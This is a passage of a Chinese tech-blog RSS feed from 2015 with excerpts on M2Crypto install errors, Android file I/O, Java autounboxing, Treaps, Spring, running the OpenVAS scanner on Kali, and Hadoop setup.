      <title>安装m2crypto报错swig error : Unrecognized option -builtin</title>
      <link>https://bchobby.github.io/posts/4b82ee8811c35b3a0b267abf0682c693/</link>
      <pubDate>Fri, 11 Dec 2015 11:34:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4b82ee8811c35b3a0b267abf0682c693/</guid>
      <description>M2Crypto 是最完整的为 Python 包装 OpenSSL 的 RSA，DSA，DH，EC，HMACs，消息摘要，对称密码算法（包括AES）的一个库工具。&#xA;而自从 M2Crypto 升级到版本 0.22.5 后，用 pip install M2Crypto 命令来安装 M2Crypto 时总是会失败。&#xA;在没有升级到此版本之前，使用 pip 安装则是没有问题的。下面来找找原因。&#xA;系统环境：CentOS 6.7 x86&#xA;失败关键字：swig&#xA;失败现象：&#xA;swigging SWIG/_m2crypto.i to SWIG/_m2crypto_wrap.c swig -python -I/usr/include/python2.6 -I/usr/include -includeall -modern -builtin -outdir build/lib.linux-i686-2.6/M2Crypto -D__i386__ -o SWIG/_m2crypto_wrap.c SWIG/_m2crypto.i swig error : Unrecognized option -builtin Use &#39;swig -help&#39; for available options. error: command &#39;swig&#39; failed with exit status 1 这里有个最为明显的错误提示：&#xA;swig error : Unrecognized option -builtin</description>
    </item>
    <item>
      <title>android开发步步为营之87:从sdcard或者data文件夹下读写数据</title>
      <link>https://bchobby.github.io/posts/4b671bcda3dbce0799acba7ef7db897e/</link>
      <pubDate>Thu, 10 Dec 2015 21:41:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4b671bcda3dbce0799acba7ef7db897e/</guid>
      <description>app开发，文件的读写是很常用的一项功能，对于文件的读写，因为raw或者asset下只能放置不大于1M的文件，而且只能读取数据，不能写入数据。所以我们开发应用的时候，一般会将图片，或者从网络下载的数据保存到sdcard或者data/data/文件夹下，本文简单介绍了将一张图片文件分别从sdcard或者data/data文件夹进行读写操作。&#xA;第一步：申请相关权限&#xA;&amp;lt;uses-permission android:name=&#34;android.permission.MOUNT_UNMOUNT_FILESYSTEMS&#34; /&amp;gt; &amp;lt;uses-permission android:name=&#34;android.permission.WRITE_EXTERNAL_STORAGE&#34; /&amp;gt; &amp;lt;uses-permission android:name=&#34;android.permission.READ_EXTERNAL_STORAGE&#34; /&amp;gt; 第二步：编写File操作相关类FileUtils.java&#xA;package com.figo.study.utils; import android.content.Context; import android.graphics.Bitmap; import android.graphics.Bitmap.CompressFormat; import android.graphics.BitmapFactory; import android.os.Environment; import android.util.Log; import java.io.BufferedInputStream; import java.io.BufferedOutputStream; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileOutputStream; import java.io.FilenameFilter; import java.io.IOException; import java.io.InputStream; import java.io.RandomAccessFile; import java.util.Enumeration; import java.util.zip.ZipEntry; import java.util.zip.ZipFile; /** * 文件操作相关 */ public class FileUtils { public static String getFilename(String filePath) { if (filePath == null) return null; final int pos = filePath.</description>
    </item>
    <item>
      <title>在Linux中提示No such file or directory解决方法</title>
      <link>https://bchobby.github.io/posts/9719a32f71da8b7a1b4a6d413de6ab1a/</link>
      <pubDate>Thu, 10 Dec 2015 11:29:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9719a32f71da8b7a1b4a6d413de6ab1a/</guid>
      <description>编写shell脚本执行一些命令发现很多的地方出现了问题，总是No such file or directory。但是事实上是有的，在网上查找了一些观点，总结一下：&#xA;(1)在Windows下转换：&#xA;利用一些编辑器如Notepat++,UltraEdit或EditPlus等工具先将脚本编码转换，再放到Linux中执行。转换方式如下(UltraEdit)：File--&amp;gt;Conversions--&amp;gt;DOS-&amp;gt;UNIX即可。&#xA;(2) 用vim打开该sh文件，输入：&#xA;命令&#xA;:set ff&#xA;回车，显示fileformat=dos，重新设置下文件格式：&#xA;命令&#xA;:set ff=unix&#xA;保存退出: 命令&#xA;:wq&#xA;再执行，就可以了&#xA;(3)在linux中的权限转换&#xA;也可在Linux中转换：&#xA;首先要确保文件有可执行权限&#xA;#chmod u+x filename&#xA;然后修改文件格式</description>
    </item>
    <item>
      <title>查看Java版本和jre地址</title>
      <link>https://bchobby.github.io/posts/5daecf073852ae0cd3ddc18169eb22f2/</link>
      <pubDate>Wed, 09 Dec 2015 16:28:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5daecf073852ae0cd3ddc18169eb22f2/</guid>
      <description>cmd中Java -version&#xA;Java -verbose</description>
    </item>
    <item>
      <title>Android录音时，根据PCM数据获取音量值（单位分贝）</title>
      <link>https://bchobby.github.io/posts/32b286afc9e646618d82823a6b17bd59/</link>
      <pubDate>Wed, 09 Dec 2015 12:56:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/32b286afc9e646618d82823a6b17bd59/</guid>
      <description> Android录音时，根据PCM数据获取音量值（单位分贝）&#xA;采样值为16bit时，根据pcm数据获取分贝，可以按如下方法进行计算&#xA;private void calcDecibelLevel(short[] buffer, int readSize) { double sum = 0; for (short rawSample : buffer) { double sample = rawSample / 32768.0; sum += sample * sample; } double rms = Math.sqrt(sum / readSize); final double db = 20 * Math.log10(rms); mVolume = (int)db; Log.e(TAG, &#34;calcDecibelLevel:volume = &#34; + mVolume + &#34;, readSize = &#34; + readSize); } </description>
    </item>
    <item>
      <title>欢迎制造业同行加入非商业联合开发俱乐部群106930856</title>
      <link>https://bchobby.github.io/posts/8b740b902aef020259ccc5efc2f1d4fd/</link>
      <pubDate>Sat, 05 Dec 2015 17:10:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8b740b902aef020259ccc5efc2f1d4fd/</guid>
      <description>欢迎加入非商业联合开发俱乐部，群号码：106930856&#xA;主要是制造业同行，喜欢做计算机系统集成开发的朋友。</description>
    </item>
    <item>
      <title>KS8U读卡器</title>
      <link>https://bchobby.github.io/posts/b37423a7eb91998a54fd222bdbd6a339/</link>
      <pubDate>Fri, 04 Dec 2015 17:02:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b37423a7eb91998a54fd222bdbd6a339/</guid>
      <description>凯盛读卡器KS8U 厂家：http://www.chinaiccard.com/feijiechushiduxieqi/947.html 驱动安装目录的COM目录下有网页调用的例子。 公司网站：http://www.chinaiccard.com/ 开发的时候发现一个问题，连续的调用dc_init，dc_card，dc_load_key等函数是不行的，中间必须延时一段时间。 javascript的函数if中判断是否为真的时候，不要使用!，直接用(false == 表达式)才行 卡类型：Mifare S50（1K）、Mifare S70（4K），目前的用的卡是S70的卡。 本文用 菊子曰发布 转载于:https://www.cnblogs.com/sdsunjing/p/ks8u%e8%af%bb%e5%8d%a1%e5%99%a8.html</description>
    </item>
    <item>
      <title>H5页面audio多声音解决方法</title>
      <link>https://bchobby.github.io/posts/68f8106758f068831ac158af57b7458a/</link>
      <pubDate>Fri, 04 Dec 2015 15:51:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/68f8106758f068831ac158af57b7458a/</guid>
      <description>移动端H5带背景音乐，之后如又有其他声音声音产生的冲突，解决方法。&#xA;在线demo：http://www.hui12.com/nbin/csdn/sound/demo.html&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;utf-8&#34;&amp;gt; &amp;lt;title&amp;gt;Audio&amp;lt;/title&amp;gt; &amp;lt;script src=&#34;jquery-2.1.0.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;h2&amp;gt;播放暂停-&amp;gt;背景音乐，sound1-sound3模拟页面其他音乐&amp;lt;/h2&amp;gt; &amp;lt;button class=&#34;play&#34;&amp;gt;播放&amp;lt;/button&amp;gt; &amp;lt;button class=&#34;stop&#34;&amp;gt;暂停&amp;lt;/button&amp;gt; &amp;lt;button class=&#34;sound1&#34;&amp;gt;sound1&amp;lt;/button&amp;gt; &amp;lt;button class=&#34;sound2&#34;&amp;gt;sound2&amp;lt;/button&amp;gt; &amp;lt;button class=&#34;sound3&#34;&amp;gt;sound3&amp;lt;/button&amp;gt; &amp;lt;script type=&#34;text/javascript&#34;&amp;gt; $(document).ready(function(){ var $play = $(&#39;.play&#39;), $stop = $(&#39;.stop&#39;), $sound1 = $(&#39;.sound1&#39;), $sound2 = $(&#39;.sound2&#39;), $sound3 = $(&#39;.sound3&#39;); var sound = (function(){ var s0 = new Audio(&#39;s0.mp3&#39;), s1 = new Audio(&#39;s1.mp3&#39;), s2 = new Audio(&#39;s2.mp3&#39;), s3 = new Audio(&#39;s3.mp3&#39;); var isPlay = true; s0.play(); s0.</description>
    </item>
    <item>
      <title>JS 实现控件拖拽/拖动</title>
      <link>https://bchobby.github.io/posts/9e8622f5af0bbbc3ea86927b10782bf3/</link>
      <pubDate>Tue, 24 Nov 2015 14:45:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9e8622f5af0bbbc3ea86927b10782bf3/</guid>
      <description>下面是实现控件拖拽的完整代码。&#xA;(function ($) { var move = false; //标记控件是否处于被拖动状态 var dragOffsetX = 0; //控件左边界和鼠标X轴的差 var dragOffsetY = 0; //控件上边界和鼠标Y轴的差 var dragObj = null; //用于存储当前对象 $.fn.mydrag = function () { dragObj = this; this.mousedown(function (e) { move = true; //获取鼠标和该控件的位置偏移量，并存入全局变量供后续调用 dragOffsetX = e.clientX - e.currentTarget.offsetLeft; dragOffsetY = e.clientY - e.currentTarget.offsetTop; }); $(document).mousemove(function (e) { if (move) { //不断获取鼠标新的坐标，并计算出控件的新坐标 var newX = e.clientX - dragOffsetX; var newY = e.clientY - dragOffsetY; //边界控制，document.</description>
    </item>
    <item>
      <title>手机访问电脑的本地网站或者服务器</title>
      <link>https://bchobby.github.io/posts/486ec51181220127e62712deb4de4da1/</link>
      <pubDate>Wed, 18 Nov 2015 20:29:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/486ec51181220127e62712deb4de4da1/</guid>
      <description>最近开始转向移动开发方向，因此对于一个移动开发的前端来说，使用各种真机来进行自己网站或者系统的界面进行针对性的调试就显的尤为重要了。因此，会经常通过电脑开启一个wifi来供手机进行连接，形成一个小的局域网，然后就通过局域网的ip地址（查询ip地址，cmd——》ipconfig）,通过ip地址来进行自己本地服务器中的项目访问。本以为这种小case的东西可以分分钟搞定，可是，可是，可是偏偏就出现了无妨访问的情况。如下图所示： 看到这个就泪奔了，竟然直接访问不到本地服务器啊。对于这种情况有两种解决方案：&#xA;方案一：暴力解决（当然不是砸电脑，摔手机）。出现该问题主要是因为你电脑的防火墙将某些端口号的htpp的网络访问协议给屏蔽掉了（一般的电脑操作系统是默认不屏蔽80,8080一些常用的端口的），所以你可以直接将自己的电脑的防火墙全部关闭。然后就可以完美访问了。具体设置路径给一下（方便菜鸟使用）：控制面板\所有控制面板项\Windows 防火墙\自定义设置。&#xA;下面具体来讲解一下方案二：对于这种暴力方式还是很不友好的。为此，我们可以直接在防火墙中将80和8080端口设置为不屏蔽即可。具体操作如下，首先进入到windows防火墙面板，点击高级设置&#xA;进入到高级设置界面，分别在入站规则和出站规则中新建规则，选择端口，点击下一步，然后直接在对应的输入框中输入80，然后默认点击下一步，完成。同样设置8080的这样一个规则。整个设置完成过后，手机就可以通过局域网来进行ip地址的访问了。</description>
    </item>
    <item>
      <title>工作学习的三大能力</title>
      <link>https://bchobby.github.io/posts/a18d17aeef210f8db38911b4c2916058/</link>
      <pubDate>Thu, 12 Nov 2015 22:58:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a18d17aeef210f8db38911b4c2916058/</guid>
      <description>从实习到现在，已经工作超过半年，这段时间感觉懂得了很多，学习上的，生活处事上的，各个上面的，今天先来谈谈我们最关注的在工作学习中我们所要掌握的三大能力：&#xA;1：学习能力：我们这个是一个更新换代非常快的行业，竞争激烈，不保持强有力的学习劲头我们很快会被别人挤下去。不是我们现在会了什么就可以放松了，在工作中会遇到各种各样的问题，只有不断的学习，我们才有能力去解决。&#xA;2：解决问题的能力：有了很多的知识，我们就要用这些知识去解决遇到的问题。如果只有理论知识，却没有动手实践、解决问题的能力，我认为基本就是纸上谈兵，无用。在工作中，发现问题，然后静下心来去分析，运用自己的知识体系去解决问题；如果还没有具备的知识，又是考验我们学习能力的时候了，去学习，再去解决问题。这样相互促进，更有助于我们能力的提高。&#xA;3：沟通交流能力：最直接的，从所有的招聘信息我们可以看到，每个公司都要求有沟通、团结协作的能力。我们在生活工作中不能避免的要与别人交流，这个是最体现我们人格魅力的时候。良好的沟通能力可以更好更快的解决问题。&#xA;掌握了上面三个能力，我认为不管在哪里，哪个行业都可以有一个很好的发展。谢谢！</description>
    </item>
    <item>
      <title>Java 中的三目运算符</title>
      <link>https://bchobby.github.io/posts/abcd01cb1abca75698fee6b623fac63c/</link>
      <pubDate>Tue, 10 Nov 2015 09:52:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/abcd01cb1abca75698fee6b623fac63c/</guid>
      <description>三目运算符是我们经常在代码中使用的，a= (b==null?0:1); 这样一行代码可以代替一个 if-else，可以使代码变得清爽易读。但是，三目运算符也是有一定的语言规范的。在运用不恰当的时候会导致意想不到的问题。前段时间遇到（一个由于使用三目运算符导致的问题，其实是因为有三目运算符和自动拆箱同时使用（虽然自动拆箱不是我主动用的）。&#xA;一、三目运算符&#xA;对于条件表达式b?x:y，先计算条件b，然后进行判断。如果b的值为true，计算x的值，运算结果为x的值；否则，计算y的值，运算结果为y的值。一个条件表达式从不会既计算x，又计算y。条件运算符是右结合的，也就是说，从右向左分组计算。例如，a?b:c?d:e将按a?b:（c?d:e）执行。&#xA;二、自动装箱与自动拆箱&#xA;基本数据类型的自动装箱(autoboxing)、拆箱(unboxing)是自J2SE 5.0开始提供的功能。 一般我们要创建一个类的对象实例的时候，我们会这样： Class a = new Class(parameters); 当我们创建一个Integer对象时，却可以这样： Integer i = 100;(注意：和 int i = 100;是有区别的 ) 实际上，执行上面那句代码的时候，系统为我们执行了： Integer i = Integer.valueOf(100); 这里暂且不讨论这个原理是怎么实现的（何时拆箱、何时装箱），也略过普通数据类型和对象类型的区别。我们可以理解为，当我们自己写的代码符合装（拆）箱规范的时候，编译器就会自动帮我们拆（装）箱。那么，这种不被程序员控制的自动拆（装）箱会不会存在什么问题呢？&#xA;三、问题回顾&#xA;首先，通过你已有的经验看一下下面这段代码。如果你得到的结果和后文分析的结果一致（并且你知道原理），那么请忽略本文。如果不一致，请跟我探索下去。&#xA;Map&amp;lt;String,Boolean&amp;gt; map = new HashMap&amp;lt;String, Boolean&amp;gt;();&#xA;Boolean b = (map!=null ? map.get(&#34;test&#34;) : false);&#xA;以上这段代码，是我们在不注意的情况下有可能经常会写的一类代码（在很多时候我们都爱使用三目运算符）。当然，这段代码是存在问题的，执行该代码，会报NPE.&#xA;Exception in thread &#34;main&#34; java.lang.NullPointerException&#xA;首先可以明确的是，既然报了空指针，那么一定是有些地方调用了一个null的对象的某些方法。在这短短的两行代码中，看上去只有一处方法调用map.get(&#34;test&#34;)，但是我们也都是知道，map已经事先初始化过了，不会是Null，那么到底是哪里有空指针呢。我们接下来反编译一下该代码。看看我们写的代码在经过编译器处理之后变成了什么样。&#xA;反编译后代码如下：&#xA;HashMap hashmap = new HashMap();&#xA;Boolean boolean1 = Boolean.valueOf(hashmap == null ? false : ((Boolean)hashmap.</description>
    </item>
    <item>
      <title>愤怒的小鸟－物理世界Box2d（2）－点击添加精灵，画线</title>
      <link>https://bchobby.github.io/posts/d0af702d293e79a1c5835ddd1a8ab32a/</link>
      <pubDate>Fri, 06 Nov 2015 21:44:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d0af702d293e79a1c5835ddd1a8ab32a/</guid>
      <description>// 如何 实现愤怒的小鸟 里面手一拉就会出现两根随着小鸟动的线条 // 在场景实例化init内 画上两根线，并将其隐藏 auto line_1 = DrawNode::create(); auto line_2 = DrawNode::create(); this-&amp;gt;addChild(line_1); this-&amp;gt;addChild(line_2); line_1-&amp;gt;setVisible(false); line_2-&amp;gt;setVisible(false); line_1-&amp;gt;setTag(10001); line_2-&amp;gt;setTag(10002); // 添加事件的监听，以完成在点击的时候能出现一个小鸟，并且小鸟和线条会随着鼠标的移动而移动 // 并且在点击结束的瞬间给 精灵小鸟 一个力 ，让它能够飞出去 auto listener = EventListenerTouchOneByOne::create(); listener-&amp;gt;onTouchBegan = CC_CALLBACK_2(HelloWorld::onTouchBegan, this); listener-&amp;gt;onTouchMoved = CC_CALLBACK_2(HelloWorld::onTouchMoved, this); listener-&amp;gt;onTouchEnded = CC_CALLBACK_2(HelloWorld::onTouchEnded, this); _eventDispatcher-&amp;gt;addEventListenerWithSceneGraphPriority(listener, this); bool HelloWorld::onTouchBegan(Touch* t,Event* e){ bird_Index++; // CCLOG(&#34;map: x=%f , y=%f&#34;, t-&amp;gt;getLocation().x,t-&amp;gt;getLocation().y); // addNewPigAtLocation(t-&amp;gt;getLocation().x, t-&amp;gt;getLocation().y); // 点击添加小鸟 auto bird = Sprite::create(&#34;bird1.png&#34;); this-&amp;gt;addChild(bird); bird-&amp;gt;setTag(1000+bird_Index); CCLOG(&#34;index = %d&#34;</description>
    </item>
    <item>
      <title>Treap(树堆)图解与实现</title>
      <link>https://bchobby.github.io/posts/b90adc148a98405ec8817bcfe2bd9f4f/</link>
      <pubDate>Tue, 03 Nov 2015 19:30:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b90adc148a98405ec8817bcfe2bd9f4f/</guid>
      <description>个人技术博客：http://blog.ztgreat.cn&#xA;前面我们介绍了AVL树，伸展树，它们都是二叉搜索树，二叉搜索树的主要问题就是其结构与数据相关，树的深度可能会很大，Treap树就是一种解决二叉搜索树可能深度过大的另一种数据结构。&#xA;Treap=Tree+Heap。Treap本身是一棵二叉搜索树，它的左子树和右子树也分别是一个Treap，和一般的二叉搜索树不同的是，Treap纪录一个额外的数据，就是优先级。Treap在以关键码构成二叉搜索树的同时，还满足堆的性质。这些优先级是是在结点插入时，随机赋予的，Treap根据这些优先级满足堆的性质。这样的话，Treap是有一个随机附加域满足堆的性质的二叉搜索树，其结构相当于以随机数据插入的二叉搜索树。其基本操作的期望时间复杂度为O(logn)。相对于其他的平衡二叉搜索树，Treap的特点是实现简单，且能基本实现随机平衡的结构。&#xA;Treap维护堆性质的方法只用到了旋转，只需要两种旋转，编程复杂度比Splay要小一些。&#xA;这里我们还是先给出treap的结构定义:&#xA;typedef struct TreapNode* Tree; typedef int ElementType; struct TreapNode { ElementType val; //结点值 int priority; //优先级 Tree lchild; Tree rchild; TreapNode(int val=0,int priority=0) //默认构造函数 { lchild=rchild=NULL; this-&amp;gt;val=val; this-&amp;gt;priority=priority; } }; 可以看到这个和前面的AVL树以及伸展树基本都是一样的，这里去掉了父节点了，因为父节点的存在只是为了方便我们的操作，这里将不用到父节点统一的进行各项操作。&#xA;treap的搜索和一般的BST树是一致的，这里我们就跳过吧，直接说插入操作。和二叉搜索树的插入一样，先把要插入的点插入到一个叶子上，然后跟维护堆一样，如果当前节点的优先级比它父节点优先级小就旋转，如果当前节点是其父节点的左儿子就右旋，如果当前节点是其父节点的右儿子就左旋。（简单点说把优先级小的往上提）&#xA;注：这里我们都调整为最小堆的形式。&#xA;一、旋转&#xA;如果知道AVL树或者伸展树的旋转方式，那么treap的旋转就显得很简单了，这里我们还是用图来展示一下过程：&#xA;（1）左旋转&#xA;黑色的数字是优先级，当插入数值为7优先级为20的结点后，违反了最小堆的定义，所以这里需要进行左旋转，将结点7进行提升一个层次，当然这个左旋转方式有很多种，如果把结点7看做操作对象，那么就需要知道它的父节点以及祖父结点，但是我们在定义中又去掉了父节点指针，这样在获取父节点的是否似乎变得困难了，不妨换个角度，如果我们结点7的父节点为对象，那么只需要知道结点3的父节点就可以操作了，这样的话我们可以通过引用传参数，就可以不用父节点指针，直接进行旋转操作，直接看代码吧&#xA;//左旋转 void left_rotate(Tree &amp;amp;node) { Tree temp=node-&amp;gt;rchild; node-&amp;gt;rchild=temp-&amp;gt;lchild; temp-&amp;gt;lchild=node; node=temp; } 参数node为需要调整结点的父节点，在图示中也就是结点3，对比图看就明白了，注意这里是指针的引用。&#xA;（2）右旋转&#xA;同左旋转本质是一样的。&#xA;//右旋转 void right_rotate(Tree &amp;amp;node) { Tree temp=node-&amp;gt;lchild; node-&amp;gt;lchild=temp-&amp;gt;rchild; temp-&amp;gt;rchild=node; node=temp; } 二、插入&#xA;先来看看图解：</description>
    </item>
    <item>
      <title>MIPI归纳---为什么阻抗为100欧姆</title>
      <link>https://bchobby.github.io/posts/1ac14c0e2a4384b7ec3121b91f33b831/</link>
      <pubDate>Fri, 30 Oct 2015 11:19:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1ac14c0e2a4384b7ec3121b91f33b831/</guid>
      <description>根据LVDS（Low Voltage Differential Signaling)电平定义的。 LVDS差分信号PN两线最大幅度是350mV,内部一个恒流源电流是3.5mA.于是终端匹配电阻是100欧姆&#xA;也就是PN之间的等效阻抗是100欧姆。这就是协议规定的。&#xA;如果小于100欧姆，终端输出电平幅度不够，loss增大。&#xA;如果大于100欧姆，电流源拉出功率（驱动能力）不足，容易被干扰。</description>
    </item>
    <item>
      <title>Spring核心技术总结一</title>
      <link>https://bchobby.github.io/posts/71142448de40dee5bb1d05a4cdceaf07/</link>
      <pubDate>Thu, 29 Oct 2015 23:33:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/71142448de40dee5bb1d05a4cdceaf07/</guid>
      <description>2019独角兽企业重金招聘Python工程师标准&amp;gt;&amp;gt;&amp;gt; 引言&#xA;新人入社后，发现自己真的老了，和年轻人有代沟了，虽然暂时还没有迈入而立之年。Spring核心技术总结一最近一直在学习Spring为了不让自己忘记，就写点吧！说不定对别人也有一些帮助呢！那就更好啦！&#xA;我是看了两本Spring电子书，还有很多其他资料才开始敲打的。所以很多内容是照搬的，这点我要说明一下，但是所有内容自认为还是理解之后才开始“忽悠”的。强烈推介《Spring in Action》，不管中文版还是英文版都不错。じゃ、始めましょう。（*^_^*）&#xA;A)好的设计比实现技术更重要&#xA;刚才说了一大堆EJB的坏话，呵呵。有时候系统需要，EJB是必需的。但通常这种情况很少。就像上面说的，我们可能只需要其中很少或者几项EJB服务。但还是采用了EJB，这就是为了技术而技术。Spring，让你的系统按照你的需求尽量简单。&#xA;B)接口松散耦合&#xA;如果你采用EJB为你的系统提供服务，那么你的组件不光依赖EJB业务接口。还需要从JNDI那里找到EJB对象，然后调用EJB接口，这不是松耦合的系统，相反聚合性很强。&#xA;而Sping呢？由Spring容器负责解决依赖关系（容器会为你把需要的依赖注入进去），所以什么主动寻找服务就不再需要啦。&#xA;C)易测试性&#xA;EJB测试需要启动容器，Spring不需要。&#xA;2）Spring是什么？ Spring是一个开源框架。由Rod Johnson创建。为了简化企业及系统开发而诞生的。使用Spring,你可以使用简单的javabeans来实现那些以前只有EJB才能实现的功能。&#xA;简单的说，Spring是一个轻量级的Ioc和AOP 容器 框架。&#xA;A)轻量级&#xA;无论从大小还是系统开支来说，Spring都算是轻量级的。整个Spring框架也就是1M多一点的Jar包。Spring的处理开支也非常小。它是非侵入式的：基于Spring开发的系统的对象一般不依赖于Spring的类。&#xA;B)反向控制（Ioc）&#xA;使用Ioc,对象是被动接受依赖类，而不是主动去寻找。这点和JNDI恰好相反。也就是在容器实例化对象的时候主动将它的依赖注入给它。所以说Spring是通过Ioc(控制反转)来实现依赖注入的。&#xA;Ioc意味着关于对象如何得到它的协作对象的责任反转了！&#xA;C)面向切面(AOP)&#xA;通过AOP,将我们的业务逻辑从系统服务（事务管理，Log日志）中分离出来，将我们的关注点只放在业务逻辑部分。在需要系统服务的地点，时间再将系统服务注入进来。&#xA;D)容器&#xA;Spring是一个容器，是因为它包含并且管理系统对象的生命周期和配置。可以通过配置来设定你的Bean是单一实例（singleton）还是每次请求产生一个实例（prototype）.&#xA;E)框架&#xA;使用简单的组件配置组合成一个复杂的系统。也就是说，通过XML文件配置，要啥有啥！&#xA;3）Spring的7个模块&#xA;Spring由7个模块组成，注意:这7个模块根据系统的需求进行取舍。&#xA;AOP模块，O/R映射模块，JDBC和DAO模块，Web Context和Utility模块，Application Context模块，MVC模块，核心容器和支持工具。&#xA;A)核心容器&#xA;Spring核心容器为Spring框架提供了基础功能。在后面我们会讲到BeanFactory类，它是Spring框架系统的核心。BeanFactory采用工厂模式来实现Ioc.&#xA;B)Application Context模块&#xA;如果说BeanFactory使Spring成为容器的话，那么Application Context模块就是让Spring成为框架的原因。它在BeanFactory基础上进行了扩展，添加了对I18N，系统生命周期事件以及验证的支持。另外，还提供了很多企业级服务，如电子邮件服务，JNDI访问，EJB集成，远程调用以及定时服务。&#xA;C)Spring的AOP模块&#xA;是Spring应用系统开发切面的基础。&#xA;D)JDBC抽象及DAO模块&#xA;我记得我以前做的项目中，涉及到数据库操作的时候，总是在程序中写一大堆和业务不相干的代码，什么获得连接，创建语句，处理结果，关闭连接。杂乱不堪！！！&#xA;现在Spring的JDBC和DAO模块把这些样板代码抽象出来，让我们的数据库代码变得简单明了。另外，这个模块还创建了一个数据库异常层。&#xA;E)O/R映射集成模块&#xA;Spring并没有实现自己的ORM解决方案，它为许多流行的ORM框架提供了支持。&#xA;F)Spring的Web模块&#xA;它是建立在Application Context基础之上，提供了适合Web系统的上下文。该模块还支持多项其他面向Web的任务。还包括对Struts的集成支持。&#xA;G)Spring MVC框架&#xA;虽然Spring可以和其他MVC框架（struts,Web Work）集成，但它也提供了全功能的MVC框架。&#xA;转载于:https://my.oschina.net/u/2308739/blog/523804</description>
    </item>
    <item>
      <title>新手教你OpenVas在KaLi系统里使用</title>
      <link>https://bchobby.github.io/posts/44489456fedf6dd2cefd3c273705ccbc/</link>
      <pubDate>Tue, 27 Oct 2015 10:03:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/44489456fedf6dd2cefd3c273705ccbc/</guid>
      <description>OpenVas在KaLi系统里使用&#xA;OpenVAS （Open Vulnerability Assessment System）是开放式漏洞评估系统，其核心部件是一个服务器，包括一套望楼漏洞测试程序，可以检测远程系统和应用程序中的安全问题。注意：OpenVAS Server仅支持Linux系统。官方网站：http://www.openvas.org/&#xA;第一步打开Kali linux 在终端输入命令行 openvas-setup 作用是起到安装初始化&#xA;输入openvas-setup 作用是起到安装初始化&#xA;如果都连接不上的话在命令行里输入 vim /etc/resolv.conf&#xA;进入过后在这里的地址按下a 然后改成4个114 接着按esc+冒号 wq 保存并退出&#xA;接下来会看到重置NVT的缓存&#xA;如果看到这句话 这表示openvas是安装非常成功的！&#xA;然后怎么用呢 接着输入命令行openvas-start&#xA;运行过后直接在本机上打开浏览器 输入以上网址 就会看到一个界面&#xA;接着登录&#xA;第一次的花点击这里可以修改密码 由于密码太长&#xA;第一次的密码由于安装初始化过后在这里显示&#xA;进入之后再管理本软件这里点击用户&#xA;蓝色小图标是设置 把这里选上 然后自己修改,保存用户就行了&#xA;接着看下主界面，随便填一个ip，扫面ip出来之后点击这里&#xA;点击这里的1 可以看下报告&#xA;看这里的颜色会显示出级别不同的漏洞&#xA;这里会显示报告的完成度&#xA;各种各样的漏洞&#xA;用心等待扫面过后的报告 结果没有扫面出漏洞来&#xA;作者：CBL ..&#xA;问题：为什么用 OpenVas扫描不出漏洞呢OpenVas在KaLi系统里使用毕竟是个免费的软件，会不会是扫描的时候很可能在扫描过程中机子加了防火墙， OpenVas就有可能会绕过防火墙？如果谁懂的话可以指出来教教我，毕竟我是新手往后接触Kali问题、难题还在不断出现。</description>
    </item>
    <item>
      <title>Hadoop-2.7.1安装与配置</title>
      <link>https://bchobby.github.io/posts/0583eeab50304a976a26d588fbcc99b1/</link>
      <pubDate>Sun, 25 Oct 2015 10:57:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0583eeab50304a976a26d588fbcc99b1/</guid>
      <description>Hadoop-2.7.1安装与配置&#xA;前面我们说了，旧版hadoop-1.2.1的安装配置，这也是好几年前的版本了吧。而现在最新版本是hadoop-2.7.1 。虽然，大体上hadoop的安装步骤基本一致，但是最新版本与hadoop-1.2.1不管是目录结构，亦或是脚本什么的都有了个很大的改变。所以，我便有写了一篇关于hadoop-2.7.1的安装配置博客。当然，最好的教程还是在官网，所以本文仅供参考，真正可行的还是在官网： http://hadoop.apache.org/docs/r2.7.1/hadoop-project-dist/hadoop-common/SingleCluster.html&#xA;一、准备&#xA;jdk-7u17-linux-x64.tar.gz&#xA;hadoop-2.7.1.tar.gz&#xA;二、jdk、ssh安装&#xA;可以参考前面的安装步骤：&#xA;http://cyw.iteye.com/blog/2251727&#xA;三、安装hadoop-2.7.1&#xA;1、将hadoop-2.7.1.tar.gz放在桌面，打开终端，cp到喜欢的目录之下。比如我安装在/home/hadoop/目录下&#xA;cp hadoop-2.7.1.tar.gz /home/hadoop/ 2、解压安装hadoop-2.7.1&#xA;sudo tar -zxvf hadoop-2.7.1.tar.gz 3、进入hadoop-2.7.1文件夹，配置环境变量，打开etc/hadoop/hadoop-env.sh。&#xA;sudo gedit etc/hadoop/hadoop-env.sh 在文件里编辑如下JAVA_HOME变量，改为自己的java安装目录：&#xA;export JAVA_HOME=/usr/lib/java/jdk1.7.0_17 4、进入hadoop文件夹&#xA;bin/hadoop 输出如下：&#xA;5、如果是单机模式的话，这是便可以使用了：&#xA;6、如果是伪分布式的话，则还需要配置一些。打开etc/hadoop/core-site.xml&#xA;sudo gedit etc/hadoop/core-site.xml 编辑内容如下：&#xA;&amp;lt;configuration&amp;gt; &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;fs.defaultFS&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;hdfs://localhost:9000&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt; &amp;lt;/configuration&amp;gt; 7、打开etc/hadoop/hdfs-site.xml&#xA;sudo gedit 